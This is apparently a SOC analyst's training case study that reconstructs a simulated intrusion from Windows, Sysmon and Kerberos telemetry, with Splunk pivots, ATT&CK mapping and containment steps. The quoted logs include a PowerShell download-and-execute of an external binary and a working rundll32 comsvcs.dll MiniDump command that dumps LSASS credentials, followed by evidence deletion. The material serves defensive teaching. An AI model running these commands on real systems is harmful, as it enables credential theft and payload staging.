Soc Investigation Case Study The Administrator And The Intruder
SOC Investigation Case Study — The Administrator and the Intruder
Mixed-Telemetry Investigation: Distinguishing Legitimate Administration from Active Compromise
Overview
This investigation was designed to simulate a realistic SOC scenario where legitimate administrative activity transitions into malicious behavior.
The challenge was not simply to identify suspicious commands. The objective was to determine:
- Where legitimate administration ended
- When suspicious behavior became evidence of compromise
- How to reconstruct the attack chain
- Which systems became affected
- How multiple Windows telemetry sources could be correlated
- How a SOC analyst should prioritize investigation and escalation
The investigation involved activity across:
CLIENT12
↓
CLIENT15
↓
DC01
↓
FILESERVER01
The primary telemetry sources included:
- Windows Security Events
- Windows PowerShell Script Block Logging
- Sysmon
- Process creation events
- Authentication events
- Kerberos service-ticket events
- File access events
- Network connection telemetry
1. Investigation Telemetry
Before analyzing the incident, the following telemetry was provided.
This is the complete event sequence used for the investigation.
08:02:11 CLIENT12
4624
Account: HelpDesk01
Logon Type: 2
08:02:19 CLIENT12
4688
powershell.exe
Parent: explorer.exe
Command:
Get-Service
08:02:31 CLIENT12
4104
Get-Process
08:03:04 CLIENT12
4104
Get-ADComputer -Filter *
08:03:16 DC01
4769
Account: HelpDesk01
Service:
ldap/DC01
08:03:24 CLIENT12
4688
powershell.exe
Command:
Enter-PSSession -ComputerName CLIENT15
08:03:31 CLIENT15
4624
Account: HelpDesk01
Logon Type: 3
Source: CLIENT12
08:03:35 CLIENT15
4688
wsmprovhost.exe
Parent: svchost.exe
08:03:42 CLIENT15
4104
Get-Service
08:04:02 CLIENT15
4104
Get-Process
08:04:17 CLIENT15
4688
powershell.exe
Command:
Get-ChildItem C:\Users
08:04:38 CLIENT15
4104
Get-LocalUser
08:05:01 CLIENT15
4688
powershell.exe
Command:
Get-ADGroupMember "Domain Admins"
08:05:17 CLIENT15
Sysmon 3
powershell.exe
→ 185.220.101.44
Port: 443
08:05:23 CLIENT15
4104
Invoke-WebRequest
https://cdn-storage.xyz/update.exe
08:05:29 CLIENT15
Sysmon 11
File Created
C:\ProgramData\update.exe
08:05:41 CLIENT15
4688
update.exe
Parent: powershell.exe
08:05:48 CLIENT15
Sysmon 3
update.exe
→ 185.220.101.44
Port: 443
08:06:12 CLIENT15
4688
rundll32.exe
Command:
comsvcs.dll, MiniDump 612 C:\ProgramData\lsass.dmp full
08:06:18 CLIENT15
Sysmon 11
File Created
C:\ProgramData\lsass.dmp
08:06:29 CLIENT15
4688
powershell.exe
Command:
Remove-Item C:\ProgramData\lsass.dmp
08:06:35 CLIENT15
4104
Remove-Item C:\ProgramData\lsass.dmp
08:07:02 DC01
4769
Account: HelpDesk01
Service:
cifs/FILESERVER01
08:07:15 FILESERVER01
4624
Account: HelpDesk01
Logon Type: 3
Source: CLIENT15
08:07:29 FILESERVER01
4663
Object:
\\FILESERVER01\Finance\Payroll2026.xlsx
Access:
ReadData
2. Investigation Objective
The central question was:
At what point does apparently legitimate administration become an active compromise?
The presence of a helpdesk account makes the investigation particularly interesting.
A helpdesk administrator may legitimately:
- Log onto workstations
- Use PowerShell
- Query Active Directory
- Enumerate services and processes
- Establish PowerShell Remoting sessions
- Troubleshoot another endpoint
Therefore, individual events cannot automatically be classified as malicious.
The investigation must consider the sequence, context, account, destination, process behavior, network activity and subsequent actions.
3. Initial Assessment
The activity initially appears consistent with legitimate helpdesk administration.
The sequence begins with:
HelpDesk01
↓
CLIENT12
↓
PowerShell
↓
Get-Service
↓
Get-Process
↓
Active Directory discovery
↓
PowerShell Remoting
↓
CLIENT15
At this stage, there is not enough evidence to declare an incident.
A helpdesk technician troubleshooting CLIENT15 could reasonably perform some of these actions.
4. Where Does Legitimate Activity End?
The last event I would initially consider potentially legitimate is:
08:04:02
CLIENT15
4104
Get-Process
Both:
Get-Service
Get-Process
are common administrative and troubleshooting commands.
Even:
Get-ChildItem C:\Users
Get-LocalUser
can have legitimate administrative purposes depending on the troubleshooting task.
However, the investigation becomes increasingly suspicious as the activity progresses.
5. First Strong Point of Suspicion
The first strong indicator of suspicious activity is:
08:05:01
CLIENT15
4688
powershell.exe
Get-ADGroupMember "Domain Admins"
This command is not inherently malicious.
However, its context is concerning.
The account is:
HelpDesk01
The account has:
- Logged onto CLIENT12
- Performed host and process discovery
- Queried Active Directory
- Established a remote PowerShell session to CLIENT15
- Performed additional local enumeration
- Queried membership of the highly privileged Domain Admins group
The combination creates a strong behavioral signal.
Classification at this point:
Suspicious
I would increase monitoring and continue investigation rather than immediately declaring an incident.
The evidence has not yet demonstrated malicious execution or confirmed compromise.
6. Why the Context Matters
A SOC analyst should avoid making decisions based on a single command.
For example:
Get-ADGroupMember "Domain Admins"
could be legitimate if a helpdesk technician is:
- Troubleshooting permissions
- Investigating an access issue
- Supporting an identity-related ticket
- Performing authorized administration
However, the same command becomes much more concerning when followed by:
External network connection
↓
PowerShell download
↓
Executable creation
↓
Executable execution
↓
LSASS memory dumping
↓
File deletion
↓
Sensitive file access
This is where behavioral correlation becomes critical.
7. Escalation of Suspicion
At:
08:05:17
CLIENT15
Sysmon Event 3
powershell.exe
→ 185.220.101.44
Port 443
the investigation becomes significantly more concerning.
An unexpected outbound HTTPS connection from PowerShell following privileged Active Directory enumeration warrants investigation.
However, I would not rely on the IP address alone to declare malicious activity.
The next events provide much stronger evidence.
8. PowerShell Download Activity
At:
08:05:23
CLIENT15
4104
Invoke-WebRequest
https://cdn-storage.xyz/update.exe
PowerShell is explicitly being used to retrieve an executable from an external location.
This is a major escalation.
The activity is immediately followed by:
08:05:29
Sysmon Event 11
File Created
C:\ProgramData\update.exe
and then:
08:05:41
4688
update.exe
Parent:
powershell.exe
This creates a highly suspicious execution chain:
PowerShell
↓
Invoke-WebRequest
↓
External executable download
↓
update.exe created
↓
update.exe executed
At this point, I would escalate the investigation substantially.
9. Process and Network Correlation
The downloaded executable subsequently communicates with the same external destination:
08:05:48
Sysmon Event 3
update.exe
→ 185.220.101.44
Port 443
This provides stronger evidence that the downloaded executable is actively communicating externally.
The sequence can now be represented as:
CLIENT15
│
├── powershell.exe
│ │
│ ├── Invoke-WebRequest
│ │
│ └── Downloads update.exe
│
└── update.exe
│
└── HTTPS → 185.220.101.44
This is no longer simply an administrative investigation.
The behavior is consistent with malicious execution and possible command-and-control or external staging activity.
10. Confirmed Credential Access
The strongest evidence of compromise appears at:
08:06:12
CLIENT15
4688
rundll32.exe
comsvcs.dll, MiniDump 612
C:\ProgramData\lsass.dmp full
The command is attempting to dump LSASS memory.
LSASS contains authentication-related material, making LSASS memory dumping a high-value credential-access technique.
The activity is followed by:
08:06:18
Sysmon Event 11
File Created
C:\ProgramData\lsass.dmp
This confirms that the memory dump file was created.
At this point, the classification should be:
INCIDENT
The investigation now contains multiple independent indicators of compromise:
- Suspicious Active Directory enumeration
- External PowerShell communication
- Download of an executable
- Execution of the downloaded executable
- External communication from the executable
- LSASS memory dumping
- Evidence removal
This is sufficient to treat the activity as an active security incident.
11. Evidence Removal
The attacker subsequently executes:
08:06:29
4688
powershell.exe
Remove-Item C:\ProgramData\lsass.dmp
PowerShell logging confirms:
08:06:35
4104
Remove-Item C:\ProgramData\lsass.dmp
This indicates an attempt to remove evidence of credential-access activity.
The deletion itself does not erase the fact that the activity occurred because the organization may still have:
- Windows event logs
- Sysmon telemetry
- SIEM copies
- EDR telemetry
- File-system artifacts
- Network logs
- Authentication records
This reinforces the importance of centralized logging.
12. Access to FILESERVER01
The attacker then requests a Kerberos service ticket:
08:07:02
DC01
4769
Account:
HelpDesk01
Service:
cifs/FILESERVER01
This is followed by:
08:07:15
FILESERVER01
4624
Account:
HelpDesk01
Logon Type:
3
Source:
CLIENT15
The source has now changed:
CLIENT12
↓
CLIENT15
↓
FILESERVER01
The account is being used to authenticate to another system after the compromise of CLIENT15.
13. Sensitive File Access
The final event shows:
08:07:29
FILESERVER01
4663
Object:
\\FILESERVER01\Finance\Payroll2026.xlsx
Access:
ReadData
The investigation therefore ends with access to a potentially sensitive financial/payroll document.
This expands the potential impact beyond endpoint compromise.
14. Reconstructed Attack Chain
The complete investigation can now be reconstructed as:
HelpDesk01
│
▼
CLIENT12
│
├── Interactive logon
├── PowerShell
├── Get-Service
├── Get-Process
└── AD discovery
│
▼
Enter-PSSession CLIENT15
│
▼
CLIENT15
│
├── Local discovery
├── Domain Admin enumeration
│
├── PowerShell
│ ↓
│ Invoke-WebRequest
│ ↓
│ update.exe
│
├── update.exe execution
│ ↓
│ External HTTPS communication
│
├── LSASS memory dump
│ ↓
│ lsass.dmp
│
├── Delete lsass.dmp
│
▼
FILESERVER01
│
└── Payroll2026.xlsx
ReadData
15. MITRE ATT&CK Mapping
The observed activity maps to several MITRE ATT&CK techniques.
| Activity | ATT&CK Technique | Description |
|---|---|---|
Get-ADComputer -Filter * |
T1018 / T1069-related discovery | System and account/domain discovery |
Get-ADGroupMember "Domain Admins" |
T1069.002 | Permission Groups Discovery: Domain Groups |
Enter-PSSession |
T1021.006 | Windows Remote Management |
Invoke-WebRequest |
T1105 | Ingress Tool Transfer |
update.exe execution |
T1204 / execution behavior | Execution of transferred payload |
| External HTTPS communication | T1071.001 | Web Protocols |
| LSASS memory dump | T1003.001 | OS Credential Dumping: LSASS Memory |
Remove-Item lsass.dmp |
T1070 | Indicator Removal |
| Access to payroll file | Collection | Collection of sensitive information |
The exact ATT&CK mapping should be validated against the organization’s detection framework and the precise behavior observed.
16. First Splunk Investigation
My initial investigation would establish the broader activity surrounding CLIENT12 before narrowing into individual events.
For example:
index=wineventlog host=CLIENT12 earliest=-2h latest=+2h
| table _time EventCode Account_Name Logon_ID LogonGuid ProcessGuid ParentImage Image Process_Command_Line
| sort _time
The objective is to determine:
- What happened before the first visible event?
- Was CLIENT12 already compromised?
- Was HelpDesk01 legitimately using the workstation?
- Were there earlier suspicious processes?
- Did another account interact with the machine?
17. Investigation Pivots
I would perform the pivots in approximately this order.
Pivot 1 — Account
Start with:
HelpDesk01
Determine:
- Where else did the account authenticate?
- Was it active on other endpoints?
- Were there unusual logon locations?
- Did the account suddenly become active outside normal patterns?
Pivot 2 — LogonGUID
Use the relevant authentication context to follow activity associated with the session.
This helps connect authentication events with subsequent activity associated with the same logon context.
Pivot 3 — ProcessGUID
Use ProcessGUID where available to reconstruct process lineage.
For example:
powershell.exe
↓
update.exe
↓
network connection
This helps establish whether processes belong to the same execution chain.
Pivot 4 — Source and Destination Hosts
Track:
CLIENT12 → CLIENT15 → FILESERVER01
This is critical because the investigation crosses multiple systems.
18. Additional Telemetry Required
I would collect additional telemetry from:
CLIENT12
To determine whether initial compromise occurred before the visible timeline.
Look for:
- Process creation
- PowerShell activity
- Authentication events
- Persistence mechanisms
- Network connections
- File creation
CLIENT15
This is the primary compromised endpoint.
I would collect:
- Sysmon Event ID 1
- Sysmon Event ID 3
- Sysmon Event ID 11
- PowerShell 4104
- Security 4688
- Authentication events
- Persistence mechanisms
- EDR alerts
- DNS activity
DC01
I would investigate:
- 4768
- 4769
- 4624
- 4625
- Directory-service activity
- Authentication anomalies
The objective is to determine whether the compromised credentials were used elsewhere.
FILESERVER01
I would investigate:
- 4624
- 4663
- Additional file access events
- SMB activity
- Other files accessed by HelpDesk01
- Subsequent file modifications or transfers
19. Scope Assessment
CLIENT12
In scope for investigation.
CLIENT12 is the initial workstation in the visible sequence and may have been the source of the remote session.
However, the provided telemetry does not independently prove that CLIENT12 was infected.
Further investigation is required.
CLIENT15
Confirmed affected.
Evidence includes:
- Suspicious PowerShell activity
- External executable download
- Executable execution
- External network communication
- LSASS memory dumping
- Evidence removal
CLIENT15 should be treated as the primary compromised endpoint.
FILESERVER01
Affected / potentially impacted.
The compromised activity resulted in:
- Authentication to FILESERVER01
- Access to a payroll document
The scope of additional file access must be investigated.
DC01
Involved in authentication.
The provided telemetry shows DC01 issuing Kerberos service tickets.
This does not by itself demonstrate compromise of DC01, but authentication activity involving the compromised account should be investigated.
20. Incident Severity
Based on the available evidence, I would treat this as a high-severity security incident.
The combination of:
Active Directory reconnaissance
+
Remote PowerShell
+
External payload download
+
Payload execution
+
External communication
+
LSASS credential dumping
+
Evidence removal
+
Sensitive file access
indicates a progression from reconnaissance to execution, credential access, defense evasion and collection.
The potential exposure of payroll information further increases the business impact.
21. Immediate SOC Response
The first priority would be containment.
1. Isolate CLIENT15
CLIENT15 is the confirmed compromised endpoint.
2. Investigate and potentially isolate CLIENT12
CLIENT12 should be investigated for initial access or credential compromise before assuming it is clean.
3. Disable or restrict HelpDesk01
The account should be investigated and, where appropriate, disabled or have its active sessions and credentials revoked.
4. Protect FILESERVER01
Review and restrict the compromised account’s access while determining the extent of file access.
5. Preserve evidence
Do not rely solely on deleting or cleaning the endpoint.
Preserve:
- SIEM telemetry
- EDR telemetry
- Memory where appropriate
- Disk artifacts
- Network logs
- Authentication logs
6. Investigate credential exposure
Because LSASS was dumped, credentials associated with the affected system should be considered potentially compromised.
22. Key SOC Lessons
This investigation demonstrates why SOC analysts should avoid relying on isolated alerts.
At the beginning of the timeline:
PowerShell
Get-Service
Get-Process
Enter-PSSession
could all have legitimate administrative explanations.
The investigation changed when the behavior became chained:
AD reconnaissance
↓
Domain Admin enumeration
↓
External PowerShell communication
↓
Executable download
↓
Payload execution
↓
LSASS dumping
↓
Evidence removal
↓
Sensitive file access
The sequence provided much stronger evidence than any single event.
23. Key Takeaways
This exercise reinforced several SOC investigation principles:
Context matters
A helpdesk account performing PowerShell activity is not automatically malicious.
Sequence matters
Multiple individually explainable events can become highly suspicious when chained together.
Correlation matters
Account, host, process, authentication and network telemetry should be investigated together.
Process lineage matters
ProcessGUID and parent-child relationships can help reconstruct execution.
Credential dumping changes the incident
An LSASS memory dump is a major escalation point because credentials may be exposed.
Evidence removal does not erase telemetry
Centralized SIEM logging can preserve evidence even when an attacker deletes local files.
Scope must be evidence-based
A machine can be in scope for investigation without being definitively classified as compromised.
Conclusion
This mixed-telemetry investigation simulated a realistic SOC scenario in which legitimate administrative behavior gradually transitioned into an active compromise.
The most important lesson was not simply recognizing malicious commands. It was learning to determine when the behavioral context changed.
The investigation progressed from:
Potentially legitimate administration
↓
Suspicious reconnaissance
↓
Malware staging
↓
Malicious execution
↓
Credential access
↓
Defense evasion
↓
Sensitive data access
By correlating Windows authentication, PowerShell, Sysmon, process creation, network and file-access telemetry, the investigation could be reconstructed as a coherent attack chain rather than a collection of isolated alerts.
This exercise represents the type of analytical workflow I am continuing to develop as I progress toward SOC analyst responsibilities.
Skills Practiced
- Splunk SIEM investigation
- Windows event analysis
- PowerShell telemetry analysis
- Sysmon analysis
- Process-tree reconstruction
- Authentication analysis
- Kerberos telemetry analysis
- Threat hunting
- Attack-chain reconstruction
- Incident classification
- Scope assessment
- MITRE ATT&CK mapping
- SOC escalation and containment reasoning
Author: Precious Anyanwu Focus: SOC Analysis | Incident Response | Splunk | Cloud Security